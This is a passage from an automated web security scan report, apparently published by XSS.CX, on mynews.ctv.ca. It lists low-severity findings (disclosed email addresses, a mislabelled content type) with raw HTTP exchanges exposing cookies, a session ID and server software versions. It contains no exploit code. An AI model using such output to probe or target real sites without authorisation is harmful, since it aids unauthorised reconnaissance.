Last-Modified: Sat, 20 Nov 2010 04:52:03 GMT
Expires: Sat, 20 Nov 2010 05:52:03 GMT
Cache-Control: private,max-age=3600, must-revalidate
Vary: Accept-Encoding
Content-Type: text/javascript;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 229696

/***************************************************************/
/* SabreTooth 5 JavaScript library loader */
/* */
/*
...[SNIP]...
v1.8.1, Thu Jan 03 22:07:12 -0500 2008

// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// (c) 2005-2007 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

if(Object.isUndefined(Effect))
thr
...[SNIP]...

7.5. http://mynews.ctv.ca/upload  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://mynews.ctv.ca
Path:   /upload

Issue detail

The following email addresses were disclosed in the response:

Request

GET /upload?siteT=toronto HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://toronto.ctv.ca/servlet/HTMLTemplate/?tf=ctvlocal%2Fhub%2FhubCap.html&cf=ctvlocal%2Ftoronto990.cfg&hub=Toronto&page=search&site_codename=Toronto&query=%3E%3E&x=27&y=3
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV_Toronto%25253Actvnews%252520%25253A%252520affiliate%252520%25253A%252520toronto%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//mynews.ctv.ca/upload%25253FsiteT%25253Dtoronto%2526ot%253DA%2526oi%253D160; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.0 200 OK
Date: Sat, 20 Nov 2010 04:52:02 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www2
X-UA-Compatible: IE=Edge
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: SABRE_ID=ce335cd639139dcdc26634abb485da12; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; encoding=utf-8;charset=utf-8
X-Cache-Lookup: MISS from www2.filemobile.com:80
Via: 1.1 www2.filemobile.com:80 (squid/2.7.STABLE3)
Connection: keep-alive
Content-Length: 42129

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<met
...[SNIP]...
<p style="margin-top: 5px; margin-left: 10px">e.g. yourname@yourdomain.com</p>
...[SNIP]...
<a href="mailto:mynews@ctv.ca">mynews@ctv.ca</a>
...[SNIP]...

8. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://mynews.ctv.ca
Path:   /services/cssloader

Issue detail

The response contains the following Content-type statement:The response states that it contains CSS. However, it actually appears to contain HTML.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /services/cssloader?id=2418 HTTP/1.1
Accept: */*
Referer: http://www.ctv.ca/generic/generated/electionHomeAMFrame.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: mynews.ctv.ca
Proxy-Connection: Keep-Alive
Cookie: __utma=67845710.776942626.1290228241.1290228241.1290228241.1; __utmb=67845710.9.10.1290228241; __utmc=67845710; __utmz=67845710.1290228241.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; s_sq=ctvgmctv%2Cctvgmglobal%3D%2526pid%253DCTV%25253Actvnews%252520%25253A%252520search%252520%25253A%252520hub%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//toronto.ctv.ca/%2526ot%253DA%2526oi%253D113; s_vi=[CS]v1|2673A92E051D01DA-40000107600D520E[CE]

Response

HTTP/1.0 404 Not Found
Date: Sat, 20 Nov 2010 04:49:53 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-1+lenny9
X-FM: www1
ETag: 7b743de4c1d3f389c8fe46743d721ec9
Last-Modified: Sat, 20 Nov 2010 04:49:53 GMT
Expires: Sat, 20 Nov 2010 04:59:53 GMT
Cache-Control: private,max-age=600
Vary: Accept-Encoding
Content-Type: text/css;charset=utf-8
X-Cache-Lookup: MISS from www1.filemobile.com:80
Via: 1.1 www1.filemobile.com:80 (squid/2.7.STABLE3)
Connection: close
Content-Length: 1337

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>FileM
...[SNIP]...

Report generated by XSS.CX at Sat Nov 20 14:25:06 CST 2010.